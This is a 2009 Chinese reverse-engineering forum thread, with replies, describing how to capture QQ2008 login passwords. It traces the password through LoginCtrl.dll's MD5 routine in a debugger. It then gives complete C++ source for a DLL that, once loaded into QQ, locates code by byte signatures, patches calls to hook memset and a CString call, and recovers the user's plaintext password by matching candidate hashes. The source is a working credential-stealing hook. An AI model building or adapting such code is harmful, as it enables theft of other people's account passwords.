首页
论坛
课程
招聘
[原创]获取QQ2008密码 附测试源码
2009-11-8 15:26 29179

[原创]获取QQ2008密码 附测试源码

2009-11-8 15:26
29179
本人小菜一个,呵呵 属于是瞎子逆向,不过还是分析出了一些东西,本着学习研究的态度下面就给大家分享一下。
首先QQ密码是采用了xxxx先进的键盘加密技术,所以如果再从键盘截取这条路截取密码显然是比较难的了,而且成本也比较高,所以我们要从另外一条路下手。在QQ协议里面,QQ的密码是先MD5然后BASE编码 然后再发送到服务器验证的。所以这里就是关键了,无论那个先进的键盘加密怎样加密,他最终还是要还原成原来的密码然后再进行MD5+BASE的编码,如果我们能在MD5加密之前截获他,嘿嘿~~~这里就留给了我们获取密码的机会,我的思路大概就是这样的了,下面就是具体的实现过程
我们首先要定位到MD5加密代码的附近,如何定位呢?这样用PEID里面的插件Krypto ANALyzer比较方便(当然也可以自己找),首先到目录里面看看有没有什么可疑的文件,LoginCtrl.dll  一看就应该是目标了,然后查到了MD5加密代码在0x608C5F87附近,然后直接把QQ扔OD里面到0x608C5F87去看看(呵呵,QQ无壳无反调试 还真轻松)
608C5F84  |.  8D943A 56B7C7E8     |lea     edx, dword ptr [edx+edi+E8C7B75>
608C5F8B  |.  8BFA                |mov     edi, edx
..................(很长的加密函数)
然后在函数末尾下断,先跟一下 乱输个密码登陆 QQ就断下了

返回来到这里
608C6897  |.  8B45 08             mov     eax, dword ptr [ebp+8]
608C689A  |.  8B0E                mov     ecx, dword ptr [esi]
。。。。。。。。(又是一个长长的加密函数)

然后再跟到返回 来到了608B6D1E 很明显,608b6d19应该就是MD5的call了,这个call有两个参数,一个应该是加密的字符,另外一个应该就是加密后保存的缓冲区;
608B6D15  |> \53                  |push    ebx
608B6D16  |.  FF75 DC             |push    dword ptr [ebp-24]
608B6D19  |.  E8 D9FA0000         |call    608C67F7
608B6D1E  |.  6A 5C               |push    5C                              ; /n = 5C (92.)
608B6D20  |.  6A 00               |push    0                               ; |c = 00
608B6D22  |.  53                  |push    ebx                             ; |s
608B6D23  |.  E8 9EE90000         |call    <jmp.&MSVCRT.memset>            ; \memset

这里想都想得到,为了密码的安全 memset应该就是清除密码
密码地址的内容如下,很奇怪uczvhcncfbsgdbms 不是我输入的密码,先不管这个,继续跟下去
01195528  77 99 93 EF 1F 3D 18 E4 95 51 1D FC DC CF 4B F0  w檽?=鋾Q螷
01195538  80 00 00 00 00 00 00 00 75 63 7A 76 68 63 6E 63  €.......uczvhcnc
01195548  66 62 73 67 64 62 6D 73 80 00 00 00 00 00 00 00  fbsgdbms€.......

再跟下去就到了下一轮循环了整个循环内容如下。
608B6C85  |> /8B45 CC             /mov     eax, dword ptr [ebp-34]
608B6C88  |. |8B4D E8             |mov     ecx, dword ptr [ebp-18]
608B6C8B  |. |03C1                |add     eax, ecx
608B6C8D  |. |99                  |cdq
608B6C8E  |. |F7FE                |idiv    esi
608B6C90  |. |837D D4 00          |cmp     dword ptr [ebp-2C], 0
608B6C94  |. |8BFA                |mov     edi, edx
608B6C96  |. |75 35               |jnz     short 608B6CCD
608B6C98  |. |68 ECBF8D60         |push    608DBFEC
608B6C9D  |. |8D4D D8             |lea     ecx, dword ptr [ebp-28]
608B6CA0  |. |E8 01E40000         |call    <jmp.&MFC42.#CString::CString_5>
608B6CA5  |. |8B45 D8             |mov     eax, dword ptr [ebp-28]
608B6CA8  |. |8365 FC 00          |and     dword ptr [ebp-4], 0
608B6CAC  |. |C1E7 04             |shl     edi, 4
608B6CAF  |. |FF70 F8             |push    dword ptr [eax-8]
608B6CB2  |. |037D E4             |add     edi, dword ptr [ebp-1C]
608B6CB5  |. |50                  |push    eax
608B6CB6  |. |57                  |push    edi
608B6CB7  |. |E8 58FC0000         |call    608C6914
608B6CBC  |. |834D FC FF          |or      dword ptr [ebp-4], FFFFFFFF
608B6CC0  |. |83C4 0C             |add     esp, 0C
608B6CC3  |. |8D4D D8             |lea     ecx, dword ptr [ebp-28]
608B6CC6  |. |E8 23E10000         |call    <jmp.&MFC42.#CString::~CString_>
608B6CCB  |. |EB 5E               |jmp     short 608B6D2B
608B6CCD  |> |8BC7                |mov     eax, edi
608B6CCF  |. |8B4D EC             |mov     ecx, dword ptr [ebp-14]
608B6CD2  |. |6BC0 5C             |imul    eax, eax, 5C
608B6CD5  |. |8D1C08              |lea     ebx, dword ptr [eax+ecx]
608B6CD8  |. |53                  |push    ebx
608B6CD9  |. |E8 87EF0000         |call    608C5C65
608B6CDE  |. |8B45 D4             |mov     eax, dword ptr [ebp-2C]
608B6CE1  |. |59                  |pop     ecx
608B6CE2  |. |85C0                |test    eax, eax
608B6CE4  |. |7E 2F               |jle     short 608B6D15
608B6CE6  |. |8365 E0 00          |and     dword ptr [ebp-20], 0
608B6CEA  |. |8945 D0             |mov     dword ptr [ebp-30], eax
608B6CED  |> |8B45 C8             |/mov     eax, dword ptr [ebp-38]
608B6CF0  |. |6A 01               ||push    1
608B6CF2  |. |8B40 44             ||mov     eax, dword ptr [eax+44]
608B6CF5  |. |8B00                ||mov     eax, dword ptr [eax]
608B6CF7  |. |0345 E0             ||add     eax, dword ptr [ebp-20]
608B6CFA  |. |8A0438              ||mov     al, byte ptr [eax+edi]
608B6CFD  |. |8845 F3             ||mov     byte ptr [ebp-D], al
608B6D00  |. |8D45 F3             ||lea     eax, dword ptr [ebp-D]
608B6D03  |. |50                  ||push    eax
608B6D04  |. |53                  ||push    ebx
608B6D05  |. |E8 99EF0000         ||call    608C5CA3
608B6D0A  |. |0175 E0             ||add     dword ptr [ebp-20], esi
608B6D0D  |. |83C4 0C             ||add     esp, 0C
608B6D10  |. |FF4D D0             ||dec     dword ptr [ebp-30]
608B6D13  |.^|75 D8               |\jnz     short 608B6CED
608B6D15  |> |53                  |push    ebx
608B6D16  |. |FF75 DC             |push    dword ptr [ebp-24]
608B6D19  |. |E8 D9FA0000         |call    608C67F7
608B6D1E  |. |6A 5C               |push    5C                              ; /n = 5C (92.)
608B6D20  |. |6A 00               |push    0                               ; |c = 00
608B6D22  |. |53                  |push    ebx                             ; |s
608B6D23  |. |E8 9EE90000         |call    <jmp.&MSVCRT.memset>            ; \memset
608B6D28  |. |83C4 14             |add     esp, 14
608B6D2B  |> |FF45 E8             |inc     dword ptr [ebp-18]
608B6D2E  |. |8345 DC 10          |add     dword ptr [ebp-24], 10
608B6D32  |. |3975 E8             |cmp     dword ptr [ebp-18], esi
608B6D35  |.^\0F8C 4AFFFFFF       \jl      608B6C85

很奇怪,不知道为什么密码要计算这么多次,(很可能是混有假密码在里面),在memset这里下断 多跟踪几次,最终在memset的参数的指令里面发现了输入的密码(输入的密码是N个d),欣喜中......
01195750  F8 D9 02 4E 1E FC 5C 82 B0 39 69 4D 66 70 42 64  N黒偘9iMfpBd
01195760  80 00 00 00 00 00 00 00 64 64 64 64 64 64 64 64  €.......dddddddd
01195770  64 64 64 64 64 64 64 64 80 00 00 00 00 00 00 00  dddddddd€.......

这里是密码的HASH
01195818  F8 D9 02 4E 1E FC 5C 82 B0 39 69 4D 66 70 42 64  N黒偘9iMfpBd

接下来的问题是密码是在其中找到了,关键是我们怎么才知道哪个才是正确的密码呢?继续跟...
跳出循环后来到了这里
608B6D3B  |> \2B75 CC             sub     esi, dword ptr [ebp-34]
608B6D3E  |.  6A 10               push    10
608B6D40  |.  8D4D DC             lea     ecx, dword ptr [ebp-24]
608B6D43  |.  4E                  dec     esi
608B6D44  |.  C1E6 04             shl     esi, 4
608B6D47  |.  0375 E4             add     esi, dword ptr [ebp-1C]
608B6D4A  |.  56                  push    esi
608B6D4B  |.  E8 12E50000         call    <jmp.&MFC42.#CString::CString_538>
608B6D50  |.  8D45 DC             lea     eax, dword ptr [ebp-24]
608B6D53  |.  C745 FC 01000000    mov     dword ptr [ebp-4], 1
608B6D5A  |.  50                  push    eax
608B6D5B  |.  FF15 3CC08C60       call    dword ptr [<&BasicCtrlDll.Encode16>]   ;  BasicCtr.Encode16

这里看到将十六个字节转换字符串 应该就是密码的HASH了,然后下面的BasicCtrlDll.Encode16再编码,跟到CString看看堆栈

0012EFA4   01195818
0012EFA8   00000010
这里的01195818就是刚刚MD5那里算出来的hash。
到这里,整个密码处理的流程差不多就清楚了,我们就可以根据这个拦截密码了,首先在HOOK memset的这个call然后获取密码和密码的hash,然后再HOOK 后面的Cstring 根据HASH找出真的密码。这里有个问题是由于QQ2008的版本众多所以还要利用特征码来动态定位,下面就是实现的效果,和测试代码
(由于本人小菜一个,逆向功夫不到家,很多东西都吃不准,如果有什么失误,不足的还望各位高手指出,让我等小菜学习学习)

// getQQpassword.cpp : Defines the entry point for the DLL application.
//

#include "stdafx.h"
#include  <string>

struct PasswordLink
{
	char* password;
	char* PWDhash;
	PasswordLink* next;
};
PasswordLink* headPasswordlink=NULL;
PasswordLink* lastPasswordlink=NULL;
PVOID	jmpbackCstring;		//跳回远函数指针 用于下面call指令


void  mymemset(char* Ppassword,int l1,int l2)//被HOOK的memset call
{
	char *szhash;
	__asm
	{
		mov  eax, dword ptr [ebp+20];
		mov szhash,eax;					//获取HASH指针
	}

	//MessageBox(0,szhash,"MD5",16);

	int PWDlen;
	Ppassword=(char*)((int)Ppassword+24);
	PWDlen=::strlen(Ppassword);	//测试长度

	if (PWDlen!=0) 
	{


		if (headPasswordlink==NULL)//初始化表头
		{
			headPasswordlink=new(PasswordLink);
			if (headPasswordlink!=NULL)
			{
				headPasswordlink->next=NULL;
				lastPasswordlink=headPasswordlink;
			}
		}

		PasswordLink* tmp;
		tmp=new(PasswordLink);

		if (tmp!=NULL)
		{	
			lastPasswordlink->next=tmp;//将密码插入到链表
			lastPasswordlink=tmp;
			tmp->password=new(char[PWDlen+1]) ;
			tmp->PWDhash=new(char[17]);
			strcpy(tmp->password,Ppassword);//保存密码
			memcpy((PVOID)tmp->PWDhash,(PVOID)szhash,16);
			tmp->next=NULL;
		}
	Ppassword=(char*)((int)Ppassword-24);
	memset((PVOID)Ppassword,l1,l2);
	}
	else
	{
		::MessageBox(0,"长度测试错误","错误",16);
	}

}

void GetTrueMd5bufindex(char* lpmd5,int i)//获取真密码HASH
{

	int classp;
	__asm
	{
		mov classp,ecx;//保存thiscall 的this指针 thiscall的调用方式 把this指针放到ECX中~
	}
	char szPWD[18];
	lastPasswordlink=headPasswordlink->next;

	int j;
	while(lastPasswordlink)//在这里将记录下来的混合有假密码的hash和真hash比较 找出真的密码
	{
		j=0;
		while(lastPasswordlink->PWDhash[j]==lpmd5[j] && j<=16)
		{
			j++;
		}
		if (j>=15)
		{
			::MessageBox(0,lastPasswordlink->password,"成功截获密码",16);
		}
		lastPasswordlink=lastPasswordlink->next;
	}

	lastPasswordlink=headPasswordlink;

	if (lastPasswordlink!=NULL)
	{
		//释放内存
		lastPasswordlink=headPasswordlink->next;
		delete headPasswordlink;
		while(lastPasswordlink)
		{
			headPasswordlink=lastPasswordlink->next;
			delete[] lastPasswordlink->password;
			delete[] lastPasswordlink->PWDhash;

			delete lastPasswordlink;
			lastPasswordlink=headPasswordlink;
		}
	}
	else
	{
		::MessageBox(0,"readpassword err","err",16);
	}

	__asm
	{
		mov ecx,classp;//恢复类指针
		push i;
		push lpmd5;
		call jmpbackCstring;//跳回本来要去的CSTRING
	}
	return;
}

//查找特征码函数
PVOID FindCodeAddress(PVOID startAddress,int SerchLen,char* code,int codeLen)
{

	char* buf =new(char[8192]);//读取的程序bin放入的 缓冲区 8KB
	PVOID AddressIndex=startAddress;	//开始地址
	char *binBuf,*markcode;				//临时指针
	int i=0,j=0;

	while((((int)startAddress+SerchLen)-(int)AddressIndex)>=4096)
	{
		if (::ReadProcessMemory((HANDLE)-1,AddressIndex,buf,4096,NULL))//先读取4KB放入缓冲区 4KB刚好为一个页能提高效率
		{	
			for (i=0;i<=4095;i++)		//在4KB中开始查找
			{
				binBuf=&buf[i];			//比较缓冲区的第I个字节
				markcode=code;			//特征码
				j=0;
				while(*binBuf==*markcode && j<=codeLen)//开始比较
				{
					if (i+codeLen>=4095)//处理跨界的情况~ 比如在第4095个字节 这里貌似有效率问题
					{
						ReadProcessMemory((HANDLE)-1,(PVOID)(int(AddressIndex)+4096),(PVOID)(int(buf)+4096),4096,NULL);
					}
					binBuf=(char*)((int)binBuf+1);		//比较下一个字节 直到全部比较完毕
					markcode=(char*)((int)markcode+1);
					j++;
				}
				if (j==codeLen)			//长度相等~就是找到了~
				{
					return PVOID((int)AddressIndex+i);
				}
			}
		}
		AddressIndex=PVOID((int)AddressIndex+4096);//查找下一个4KB
	}
	return NULL;
}

BOOL APIENTRY DllMain( HANDLE hModule, 
                       DWORD  ul_reason_for_call, 
                       LPVOID lpReserved
					 )
{
    switch (ul_reason_for_call)
	{
	case DLL_PROCESS_ATTACH:

		DWORD jmpbackme;
		PVOID tmp;

// 		tmp=FindCodeAddress(PVOID(0x00001000),0x7f000000,(char*)"\x8D\xBC\x1F\x78\xA4\x6A\xD7",7);
// 		tmp=0;
// 		::MessageBoxA(0,"ok","test",16);
// 		return TRUE;
		tmp=FindCodeAddress(PVOID(0x50000000),0x20000000,(char*)"\x83\xC4\x14\xFF\x45\xE8\x83\x45\xDC\x10\x39\x75\xE8",13);

 		if (!tmp)
// 		{
// 			MessageBox(0,"i have found it !","提示",16);
// 		}
// 		else
		{
			MessageBox(0,"i can't find it","提示",16);
		}

		tmp=(PVOID)(int(tmp)-5);
		jmpbackme=int(mymemset)-int(tmp)-5;
		::WriteProcessMemory((HANDLE)-1,(PVOID)(int(tmp)+1),(LPVOID)&jmpbackme,4,NULL);//hook memset CALL

		tmp=FindCodeAddress(tmp,0x1000,(char*)"\x10\x8D\x4D\xDC\x4E\xC1\xE6\x04\x03\x75\xE4\x56",12);
		tmp=(PVOID)(int(tmp)+12);
		jmpbackme=int(GetTrueMd5bufindex)-int(tmp)-5;

 		if (!tmp)
// 		{
// 			MessageBox(0,"i have found it !","提示",16);
// 		}
// 		else
		{
			MessageBox(0,"i can't find it","提示",16);
		}

		::ReadProcessMemory((HANDLE)-1,(PVOID)(int(tmp)+1),&jmpbackCstring,4,NULL);//保存原来指针用于后面回跳 cstring
		jmpbackCstring=PVOID((int)jmpbackCstring+int(tmp));

		::WriteProcessMemory((HANDLE)-1,(PVOID)(int(tmp)+1),(LPVOID)&jmpbackme,4,NULL);//call cstring CALL

		break;
	case DLL_THREAD_ATTACH:

		break;
	case DLL_THREAD_DETACH:

		break;
	case DLL_PROCESS_DETACH:

		break;
    }

    return TRUE;
}




[2022冬季班]《安卓高级研修班(网课)》月薪三万班招生中~

上传的附件:
收藏
点赞0
打赏
分享
最新回复 (69)
雪    币: 180
活跃值: 活跃值 (11)
能力值: ( LV3,RANK:30 )
在线值:
发帖
回帖
粉丝
xiaoboshi 活跃值 2009-11-8 15:54
2
0
厉害,条条大道通罗马,懂的多就是好,此道不成走彼道。
雪    币: 135
活跃值: 活跃值 (22)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
xiaofuy 活跃值 2009-11-8 17:33
3
0
此贴必火
------------
广告位
------------
雪    币: 135
活跃值: 活跃值 (22)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
xiaofuy 活跃值 2009-11-8 17:44
4
0
0x608C5F87如何找的
雪    币: 531
活跃值: 活跃值 (22)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
专业路过 活跃值 1 2009-11-8 17:50
5
0
用PEID里面的插件Krypto ANALyzer查LoginCtrl.dll  或者自己查找MD5算法的特征码地址
雪    币: 135
活跃值: 活跃值 (22)
能力值: ( LV5,RANK:70 )
在线值:
发帖
回帖
粉丝
xiaofuy 活跃值 2009-11-8 18:25
6
0
我的2008版本好像无效
雪    币: 531
活跃值: 活跃值 (22)
能力值: ( LV4,RANK:50 )
在线值:
发帖
回帖
粉丝
专业路过 活跃值 1 2009-11-8 20:33
7
0
请注意以上只针对 LoginCtrl.dll 版本为 8.0.830.1811做的 不能保证每个版本的QQ都能用
雪    币: 243
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
adbrave 活跃值 2009-11-9 11:32
8
0
不错,学习了
雪    币: 106
活跃值: 活跃值 (13)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lionsun 活跃值 2009-11-9 15:10
9
0
不错吗,学习了。
雪    币: 100
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
zzcsjjx 活跃值 2009-11-9 15:50
10
0
不错,学习了!!!
雪    币: 203
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
hwmzly 活跃值 2009-11-9 15:59
11
0
虽然我现在还看不懂,可是这样的文章一定要顶.
雪    币: 69
活跃值: 活跃值 (15)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
hacknet 活跃值 2009-11-9 16:44
12
0
你的头像让我想起了女王……………………………………
雪    币: 188
活跃值: 活跃值 (10)
能力值: ( LV3,RANK:20 )
在线值:
发帖
回帖
粉丝
zerostudy 活跃值 2009-11-10 09:48
13
0
不得不顶下,懂反汇编就是爽。
雪    币: 435
活跃值: 活跃值 (43)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
ucantseeme 活跃值 2009-11-10 12:57
14
0
膜拜了,厉害
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
飘悠紫轩 活跃值 2009-11-10 14:59
15
0
这个只能先下来看看了,要懂有点难。现在的我
雪    币: 201
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
objsky 活跃值 2009-11-10 18:08
16
0
继续努力。路过学习
雪    币: 2889
活跃值: 活跃值 (796)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
lianzhan 活跃值 2009-11-10 18:45
17
0
呵呵  真的很不错哦  学习了
雪    币: 226
活跃值: 活跃值 (13)
能力值: ( LV8,RANK:130 )
在线值:
发帖
回帖
粉丝
youstar 活跃值 2 2009-11-10 22:18
18
0
QQ2009好像加了壳的!
雪    币: 33
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
moneyiis 活跃值 2009-11-12 13:30
19
0
这么厉害
雪    币: 238
活跃值: 活跃值 (11)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
loucm 活跃值 2009-11-12 13:58
20
0
楼主的想法很好,条条大道通罗马!
雪    币: 201
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
unixboy 活跃值 2009-11-14 09:56
21
0
膜拜下...
雪    币: 498
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
路过人间 活跃值 2009-11-15 14:47
22
0
如果可以逆,那是不是可以猜解密码了
雪    币: 89
活跃值: 活跃值 (761)
能力值: ( LV9,RANK:250 )
在线值:
发帖
回帖
粉丝
Nisy 活跃值 5 2009-11-15 17:44
23
0
我的思路也是这样的 O(∩_∩)O~ MD前毕现圆形
雪    币: 200
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
cc馒头 活跃值 2009-11-15 20:01
24
0
学习了!!。
雪    币: 142
活跃值: 活跃值 (10)
能力值: ( LV2,RANK:10 )
在线值:
发帖
回帖
粉丝
tujunhong 活跃值 2009-11-16 01:17
25
0
此贴不顶对不起楼主!
游客
登录 | 注册 方可回帖
返回